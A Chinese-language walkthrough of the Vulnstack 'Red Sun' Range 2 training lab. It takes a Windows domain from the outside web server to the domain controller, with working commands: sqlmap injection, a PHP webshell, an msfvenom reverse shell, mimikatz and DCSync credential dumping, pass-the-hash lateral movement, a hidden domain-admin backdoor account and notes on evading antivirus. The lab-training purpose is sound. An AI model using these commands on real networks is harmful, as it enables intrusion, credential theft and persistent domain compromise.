1. 项目概述为什么我们需要一个“红日靶场”如果你对网络安全特别是内网渗透测试感兴趣那么“Vulnstack红日靶场”这个名字你一定不陌生。它不是一个商业化的在线靶场平台而是一系列由安全研究员“红日安全”团队精心制作的、高度仿真的内网渗透实战环境虚拟机镜像。这个系列之所以在圈内备受推崇核心原因在于它精准地模拟了一个真实企业内网中可能存在的脆弱环节、常见的错误配置以及攻击者真实的横向移动路径。简单来说红日靶场提供了一个“安全沙盒”。在这个沙盒里你可以扮演攻击者从外部突破边界进入内网然后像在真实网络中一样进行信息收集、权限提升、横向移动、域渗透乃至权限维持等一系列操作而不用担心触犯法律或破坏生产环境。对于学习者而言这解决了“纸上谈兵”的痛点。你看再多的理论、读再多的文章都不如亲手在这样一个接近真实的环境里走一遍攻击链路来得深刻。靶场2作为该系列中承上启下的一环其环境复杂度适中既包含了基础的Web漏洞利用也引入了内网中典型的多层网络结构、域环境以及多种横向移动手法是新手迈向进阶的绝佳练手场。通关红日靶场2你收获的远不止是几个漏洞的利用命令。你将建立起一套完整的内网渗透思维框架如何从单一突破口如一个Web漏洞获取立足点Webshell或反弹Shell如何在这个立足点上进行深入的信息搜集本机信息、网络拓扑、域信息如何选择合适的“跳板”进行横向移动利用密码复用、服务漏洞、票据传递等并最终如何定位并攻陷核心目标如域控制器。这个过程正是安全工程师在日常渗透测试、红队评估中需要反复演练的核心技能。接下来我将以第一人称视角带你一步步拆解和构建这个实战环境并分享通关过程中的关键步骤、踩过的坑以及那些只有实战才能获得的“肌肉记忆”。2. 环境准备与拓扑解析2.1 靶场镜像下载与初始化红日靶场2的镜像通常以OVA或压缩包形式提供包含三台预配置的虚拟机一台作为外网Web服务器Windows 7一台作为内网域成员服务器Windows Server 2008以及一台作为域控制器Windows Server 2008。首先你需要一个虚拟化软件来运行它们VMware Workstation或VirtualBox都是不错的选择。我个人更倾向于VMware因为其在网络配置和性能上更为稳定与靶场环境的兼容性也经过广泛验证。下载好镜像文件后直接使用虚拟化软件的“打开”或“导入”功能即可。这里有几个关键的初始化步骤需要注意网络适配器模式这是构建正确网络拓扑的核心。你需要将三台虚拟机的网络模式进行区分。Win7Web服务器需要两张网卡。第一张设置为NAT模式或桥接模式用于模拟公网IP让我们的攻击机Kali Linux能够直接访问。第二张设置为仅主机模式VMnet1用于连接内网。Win2008成员服务器 Win2008域控制器这两台机器只需要一张网卡均设置为仅主机模式VMnet1。这样它们就和Win7的第二张网卡处于同一个隔离的内网网段中。开机与网络配置启动虚拟机后你可能需要手动配置一下IP地址确保网络连通。通常靶场作者会预设好IP但以防万一你需要检查。在Win7上运行ipconfig /all你应该能看到两个IP一个来自NAT/桥接网卡如192.168.xxx.xxx另一个来自仅主机网卡如192.168.52.xxx。内网的两台服务器也应该在192.168.52.0/24这个网段内。我们的攻击机Kali需要配置在同一个仅主机模式VMnet1的网段下或者通过Win7的“跳板”来访问内网。快照与还原在开始“破坏”之前务必为每台虚拟机创建一个“干净”的快照。渗透测试过程中难免会修改系统配置、上传文件、留下日志快照可以让你在每次练习后快速恢复到初始状态极大地提升学习效率。注意导入虚拟机后如果遇到“此虚拟机可能已被移动或复制”的提示一定要选择“我已复制该虚拟机”。这是因为虚拟机唯一标识UUID冲突会导致网络等问题。选择“复制”会让系统生成新的标识避免潜在冲突。2.2 攻击机配置与工具准备我们的攻击机通常选择Kali Linux因为它集成了绝大多数我们需要的工具。除了Kali自带的工具外有几样“神兵利器”建议你提前准备好它们会在后续的渗透过程中发挥巨大作用Nmap端口扫描和版本探测的瑞士军刀。用于发现目标开放的服务。Metasploit Framework (MSF)渗透测试框架包含大量漏洞利用模块、Payload生成器和后渗透模块。它是自动化攻击和快速验证的利器。Cobalt Strike高级红队作战平台。相比MSF它在团队协作、隐蔽性、后渗透模块的集成度和可视化方面更胜一筹。虽然它是商业软件但其社区版或试用版足以用于学习靶场。我们将主要使用MSF进行演示但思路是相通的。中国菜刀/AntSword蚁剑/Cobalt Strike的BeaconWebshell管理工具。在获取Webshell后我们需要一个图形化或命令行界面来与服务器交互。Impacket工具套件这是一套用Python编写的、用于对SMB、Kerberos等协议进行低级操作的强大工具集。其中的psexec.py、smbexec.py、wmiexec.py、secretsdump.py等在内网横向移动和域渗透中几乎是必备的。你可以通过git clone从GitHub获取。MimikatzWindows密码提取神器。用于从内存中抓取明文密码、哈希、票据等。虽然靶机可能打了补丁但了解其原理和使用场景至关重要。Proxychains或EarthWorm (EW)代理工具。当我们的攻击机不能直接访问内网时需要通过已控制的跳板机如Win7搭建代理通道将内网流量“转发”出来。在Kali上确保这些工具可用并提前熟悉基本命令。例如用msfconsole启动MSF用nmap -sV -O 目标IP进行扫描。3. 外网突破从Web漏洞到立足点3.1 信息搜集与漏洞发现一切攻击始于信息搜集。首先我们需要找到Win7的IP。假设我们通过扫描发现其外网IP是192.168.1.103你的实际IP可能不同。使用Nmap进行全端口扫描和版本探测nmap -sS -sV -p- 192.168.1.103扫描结果可能会显示开放了80端口HTTP和3306端口MySQL。访问http://192.168.1.103发现是一个网站。接下来就是常规的Web渗透测试流程目录扫描使用dirb、gobuster或御剑等工具寻找后台管理页面、上传点、备份文件等。可能会发现/admin、/upload等路径。漏洞扫描使用AWVS、Nessus或Xray等扫描器进行初步探测但手动测试往往更精准。查看网站用了什么CMS如ThinkPHP、DedeCMS等搜索已知漏洞。手动测试尝试SQL注入、XSS、文件包含等常见漏洞。在红日靶场2中通常存在一个明显的SQL注入点可能位于登录框、搜索框或某个ID参数处。假设我们在/news.php?id1发现了数字型SQL注入。我们可以用sqlmap进行自动化利用sqlmap -u http://192.168.1.103/news.php?id1 --dbs很快sqlmap会列出数据库发现一个名为web的数据库。继续获取表名、列名最终拖出管理员表的用户名和密码哈希。密码很可能是MD5加密的我们可以尝试在线网站或本地用hashcat进行破解。假设我们破解出密码是admin123。3.2 获取Webshell与反弹Shell用破解的密码登录网站后台。在后台寻找文件上传功能。这是获取Webshell的经典途径。靶场环境可能会对上传文件的类型、内容进行过滤。常见的绕过方法有修改文件后缀如将.php改为.php5、.phtml、.phps等如果服务器解析配置不当这些后缀依然会被当作PHP执行。文件内容绕过在PHP文件开头添加图片文件头如GIF89a或者使用script languagephpsystem($_GET[‘cmd’]);/script这种变体。配合文件包含漏洞如果存在文件包含LFI可以上传一个图片马将PHP代码写入图片的EXIF信息然后通过包含这个图片文件来执行代码。成功上传一个一句话木马文件如shell.php后我们就可以用中国菜刀或蚁剑连接密码为我们写入的一句话密码如cmd。连接成功后我们就获得了在Web服务器上的命令执行权限即Webshell。但是Webshell的功能和稳定性有限我们通常需要得到一个更稳定、功能更全的“反弹Shell”。所谓反弹Shell就是让靶机主动连接我们攻击机监听的某个端口从而给我们返回一个命令行界面。我们可以通过Webshell执行命令来生成一个反弹Shell。在MSF中我们可以快速生成一个Payloadmsfvenom -p windows/meterpreter/reverse_tcp LHOST你的KaliIP LPORT4444 -f exe shell.exe这个shell.exe就是我们的后门程序。通过Webshell的上传功能将其传到靶机如C:\\Windows\\Temp\\目录下。然后在Kali上启动MSF监听msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 你的KaliIP set LPORT 4444 exploit -j最后在Webshell中执行shell.exe。稍等片刻MSF控制台就会看到一个新的meterpreter会话建立成功。至此我们成功从外网突破在Win7上获得了一个稳定的、功能强大的后渗透交互通道。实操心得在实际环境中杀毒软件AV和端点检测响应EDR是最大的障碍。红日靶场通常未安装这些安全产品这简化了过程。但在真实场景中你需要进行免杀处理例如对生成的shell.exe进行编码、加壳、分离加载等操作以绕过静态和动态检测。这是一个更深的话题但了解其必要性很重要。4. 内网信息搜集与横向移动基础4.1 立足点深度信息搜集拿到meterpreter会话后不要急于横向移动。首先我们需要像一名真正的攻击者一样摸清当前所处的环境。这被称为“立足点信息搜集”。在meterpreter中可以运行以下命令sysinfo: 查看系统信息OS版本、架构、计算机名。getuid: 查看当前权限。很可能我们只是一个普通用户权限如NT AUTHORITY\\NETWORK SERVICE或某个Web应用池账户。我们需要提权。run post/windows/gather/enum_logged_on_users: 枚举当前登录的用户。run post/windows/gather/enum_applications: 枚举安装的应用程序。ipconfig /all: 查看网络配置。这是关键一步这里你会看到Win7的两个IP地址确认内网网段例如192.168.52.0/24。arp -a: 查看ARP缓存可以发现同一网段内其他活跃的主机即内网中的Win2008成员服务器和域控制器。net view: 查看当前域或工作组中的计算机列表。net localgroup administrators: 查看本地管理员组有哪些用户。此外我们还需要搜集可能用于横向移动的凭据run post/windows/gather/enum_shares: 枚举网络共享。run post/windows/gather/credentials/gpp: 查找组策略首选项GPP中可能保存的明文密码这是一个经典漏洞。hashdump或run post/windows/gather/smart_hashdump: 尝试转储本地SAM数据库中的用户密码哈希。但普通权限下通常无法直接执行需要先提权。4.2 权限提升与哈希获取由于当前权限较低很多操作受限。我们需要进行本地提权。提权方法有很多比如利用系统内核漏洞、服务配置错误、计划任务、AlwaysInstallElevated策略等。在meterpreter中可以尝试getsystem这是一个自动化的提权命令会尝试多种技术。在老旧或未打补丁的系统上如Windows 7成功率较高。如果getsystem失败我们可以手动寻找提权漏洞。使用meterpreter的local_exploit_suggester模块是个好主意run post/multi/recon/local_exploit_suggester它会根据系统信息推荐可能成功的本地提权模块。选择一个进行尝试例如exploit/windows/local/ms16_032_secondary_logon_handle_privesc。提权成功后getuid显示为NT AUTHORITY\\SYSTEM我们就可以放心地转储哈希了hashdump或者使用更强大的mimikatz已集成在meterpreter中load kiwi creds_allcreds_all会尝试从内存中提取所有可用的凭据包括明文密码、LM/NTLM哈希、Kerberos票据等。这是内网横向移动的“黄金钥匙”。你可能会得到当前登录用户甚至其他用户的密码或哈希。假设我们得到了本地管理员Administrator的NTLM哈希aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0这是空密码的哈希。更重要的是我们可能得到域用户的凭据如果这台Win7是加域的并且有域用户登录过mimikatz就有可能抓取到域用户的哈希或明文密码。5. 横向移动攻陷内网主机5.1 利用SMB服务与Psexec横向移动假设通过信息搜集我们发现了内网中另一台主机192.168.52.143成员服务器并且通过mimikatz抓取到了本地管理员Administrator的哈希或者我们猜测/爆破出了密码。横向移动最直接的方式之一就是利用SMB服务。方法一使用MSF的psexec模块在MSF中我们可以利用抓取到的哈希进行“Pass the Hash”攻击无需知道明文密码。use exploit/windows/smb/psexec set RHOSTS 192.168.52.143 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 # 这里是LM:NT哈希 set PAYLOAD windows/meterpreter/bind_tcp # 因为攻击机在内网外需用bind_tcp让目标监听端口我们再去连接。或者通过已控主机做跳板。 set LPORT 4445 exploit如果成功我们将获得对192.168.52.143的meterpreter会话。方法二使用Impacket套件中的psexec.py如果更喜欢命令行工具Impacket是绝佳选择。首先我们需要通过已控的Win7建立一个到内网的代理通道例如使用meterpreter的portfwd端口转发或者搭建socks代理。假设我们通过代理能访问到192.168.52.143。 在Kali上配置好代理后例如使用proxychains运行proxychains python3 psexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator192.168.52.143:前面是LM哈希后面是NT哈希。如果LM哈希为空现代Windows默认如此可以只写NT哈希。执行成功后会直接获得一个目标机的cmdshell。5.2 利用WMI服务横向移动WMIWindows Management Instrumentation是Windows系统管理的核心同样可以用于远程命令执行。它比psexec更隐蔽因为不会在目标机器上创建服务而是通过Win32_Process类来创建进程。使用Impacket的wmiexec.pyproxychains python3 wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator192.168.52.143这个命令会提供一个半交互式的shell非常好用。使用MSF的wmi模块use exploit/windows/smb/wmi_exec set RHOST 192.168.52.143 set SMBUser Administrator set SMBPass aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 set PAYLOAD windows/meterpreter/bind_tcp exploit5.3 利用计划任务Schtasks横向移动这是另一种常见的横向移动技术原理是在远程主机上创建计划任务来执行我们的Payload。# 在meterpreter会话中已控Win7我们可以使用内置命令 run post/windows/manage/payload_inject RHOST192.168.52.143 RPORT445 SMBUserAdministrator SMBPass31d6cfe0d16ae931b73c59d7e0c089c0 PAYLOADwindows/meterpreter/bind_tcp LHOST192.168.52.138 LPORT4446这个模块底层会利用SMB和计划任务来部署Payload。注意事项横向移动的成功与否高度依赖于凭据的有效性和目标主机防火墙规则。如果目标主机192.168.52.143的Windows防火墙开启了且严格限制了入站连接特别是SMB的445端口、WMI的135端口等上述方法可能会失败。此时需要先进行防火墙探测和绕过或者寻找其他开放的端口和服务如WinRM的5985端口。6. 域渗透定位与攻陷域控制器6.1 域内信息搜集在成功横向移动到成员服务器192.168.52.143后我们很可能已经身处域环境中。我们需要进行更深入的域内信息搜集以定位域控制器DC并了解域结构。 在meterpreter会话或通过wmiexec获得的shell中可以执行以下命令net group “domain computers” /domain 列出所有域计算机。域控制器通常也会在这个列表里但名字可能有特征如DC$、AD$或包含DC、AD字样。net group “domain controllers” /domain 直接列出域控制器。这是最准确的方法。net time /domain 查询域时间通常会返回域控制器的主机名。nltest /dclist:域名 列出域控制器。dsquery server 通过活动目录查询域控制器。ping 域名 解析域名的IP地址通常就是域控制器的IP。假设我们通过net group “domain controllers” /domain发现域控制器主机名为WIN-2008-DC。再通过ping WIN-2008-DC或查看本地DNS缓存得到其IP为192.168.52.138。6.2 获取域管理员权限与DCSync攻击域控制器的终极目标是获取域内最高权限——域管理员Domain Admin的凭据。一旦获得就意味着控制了整个域。有几种经典方法1. 本地提权与哈希抓取如果我们能在域控制器上执行代码例如通过横向移动利用某个域管理员账户在DC上留下的会话就可以像在普通机器上一样运行mimikatz抓取哈希。域控制器的lsass.exe进程中存储着所有域用户的密码哈希。使用mimikatz的lsadump::dcsync功能可以直接从DC上同步指定用户的哈希而无需交互式登录# 在已控的DC上运行mimikatz privilege::debug lsadump::dcsync /domain:redteam.local /user:Administrator这将输出域管理员Administrator的NTLM哈希。2. 利用Kerberos协议攻击如果无法直接登录DC但我们已经控制了一台域成员服务器并且获取了某个域用户的哈希我们可以尝试攻击Kerberos协议。黄金票据Golden Ticket如果我们拿到了krbtgt用户的哈希这个用户是域Kerberos认证的核心其哈希用于签发所有TGT票据我们就可以伪造任意用户的TGT票据从而访问域内任何服务。获取krbtgt哈希通常需要域管理员权限或利用漏洞如MS14-068但有时可以通过DCSync攻击需要Get-Replication-All权限来获取。白银票据Silver Ticket针对特定服务如CIFS、LDAP伪造服务票据ST无需与KDC即DC交互但需要该服务账户的哈希。3. 利用MS14-068漏洞如果存在这是一个古老的但经典的域提权漏洞允许普通域用户将自己提升为域管理员。利用条件比较苛刻DC未打补丁且知道域用户名和密码但在老旧的靶场环境中可能适用。在红日靶场2中路径往往是通过横向移动控制成员服务器 - 在成员服务器上发现域管理员曾登录过 - 用mimikatz抓取到域管理员的哈希或明文密码 - 直接用该凭据通过psexec或wmiexec连接域控制器。6.3 最终攻陷与权限维持假设我们通过抓取到的域管理员哈希成功使用psexec.py连接到了域控制器192.168.52.138proxychains python3 psexec.py -hashes :[域管理员NT哈希] administrator192.168.52.138成功获得DC的system权限cmd。至此我们已经完全控制了整个域环境。作为红队攻击的最后一环是“权限维持”即留下后门以便在未来即使密码更改后仍能访问。常见方法包括创建隐藏后门账户在DC上创建一个新的域用户并将其加入域管理员组。同时通过修改注册表或使用工具使其对net user等命令不可见。部署计划任务在DC上创建计划任务定期从远程服务器下载并执行Payload。SSPSecurity Support Provider注入将恶意DLL注册为SSP这样任何用户登录时其凭据都会被我们记录。DCShadow攻击一种高级技术允许攻击者扮演一个“虚假”的域控制器向真实的DC推送恶意更改如添加后门账户极具隐蔽性。在靶场练习中我们可以尝试创建后门账户# 在DC的shell中 net user backdooruser Pssw0rd! /add /domain net group “Domain Admins” backdooruser /add /domain现在我们就拥有了一个属于我们自己的域管理员账户。7. 常见问题与排查技巧实录在通关红日靶场2的过程中你几乎一定会遇到各种问题。下面是我和许多同行踩过坑后总结出的排查清单问题现象可能原因排查与解决思路无法访问靶机Web服务1. 虚拟机网络配置错误NAT/桥接网卡未启用。2. 防火墙阻止Windows防火墙或虚拟软件防火墙。3. IP地址不正确。1. 检查虚拟机设置确保网卡已连接且模式正确。2. 在Win7上临时关闭防火墙netsh advfirewall set allprofiles state off。3. 在Win7上运行ipconfig确认IP在Kali上ping测试。SQL注入工具跑不出数据1. 注入点判断错误可能不是注入点。2. 存在WAF或过滤。3. 参数类型复杂如JSON、Base64编码。1. 使用and 11和and 12手动测试页面回显差异。2. 尝试使用sqlmap的--tamper脚本绕过WAF如space2comment。3. 使用Burp Suite抓包将请求保存为文件用sqlmap -r request.txt加载测试。上传Webshell失败1. 前端JS验证。2. 后端MIME类型、后缀名、内容检测。3. 目录无写权限。1. 禁用JS或抓包修改上传请求绕过前端检查。2. 尝试多种绕过组合修改后缀、添加文件头、使用.htaccess解析漏洞如果存在。3. 尝试不同目录如/uploads/、/images/、/tmp/。Meterpreter会话建立后立即断开1. Payload不稳定或与目标系统不兼容。2. 杀毒软件拦截。3. 网络不稳定或监听设置错误。1. 尝试生成不同格式的Payload如-f exe换成-f dll或-f vbs。2. 对Payload进行免杀处理编码、加壳。3. 检查LHOST和LPORT设置是否正确确保防火墙允许该端口通信。横向移动Psexec/WMI失败1. 目标防火墙阻止了445/135端口。2. 提供的凭据密码/哈希错误或权限不足。3. 目标服务未开启如Server服务。4. 账户被禁用或登录限制。1. 先用nmap扫描目标端口确认是否开放。2. 仔细核对凭据尝试其他抓取到的密码或哈希。3. 尝试其他横向移动方法如计划任务、SCShell、WinRM等。4. 查看目标系统事件日志如果已有权限获取失败原因。Mimikatz抓不到密码1. 系统版本较高Win10/Win2012R2以上默认启用LSA保护。2. 权限不足非SYSTEM。3. 杀毒软件实时防护。1. 尝试先提权至SYSTEM。2. 在meterpreter中使用migrate命令迁移到lsass.exe进程需高权限。3. 使用mimikatz的privilege::debug和sekurlsa::logonpasswords命令组合。在靶场环境中通常能成功。无法定位域控制器1. 当前主机未加域。2. 当前用户权限太低无法查询域信息。3. 网络不通或DNS解析问题。1. 运行set查看环境变量或net config workstation查看工作站域。2. 尝试使用nltest /dsgetdc:域名命令。3. 尝试解析域名的IPnslookup 域名。独家避坑技巧代理通道稳定性使用meterpreter的socks4a模块搭建代理有时不稳定。推荐使用EarthWorm (EW)或reGeorg这类专门的代理工具稳定性更高。在已控的Win7上上传EW的ew_for_Win.exe在Kali上运行对应版本建立多级跳板代理非常顺畅。信息搜集自动化在获得每个新会话后立即运行一个自动化的信息搜集脚本如MSF的multi/gather/autorun或自己写的批处理可以快速收集网络信息、共享、补丁、进程等节省大量时间。哈希传递PtH的细节使用Impacket工具进行PtH时注意哈希格式。如果是NT哈希LM部分通常留空或填aad3b435b51404eeaad3b435b51404ee空LM哈希。命令中的-hashes参数格式为LM哈希:NT哈希。靶场环境还原每次练习完务必从之前创建的干净快照还原虚拟机避免残留文件、用户账户或配置影响下一次练习也能模拟“第一次进入”的真实场景。通关红日靶场2就像完成了一次完整的、微缩的内网渗透实战演习。它强迫你将零散的知识点漏洞利用、提权、信息搜集、横向移动、域渗透串联成一条完整的攻击链。当你成功在域控制器的屏幕上看到system权限的cmd窗口时那种对整个内网攻击路径豁然开朗的感觉是任何理论课程都无法替代的。记住工具和命令是死的思路和流程才是活的。多练几次尝试用不同的方法达到同一个目标你的内网渗透能力才会真正扎根。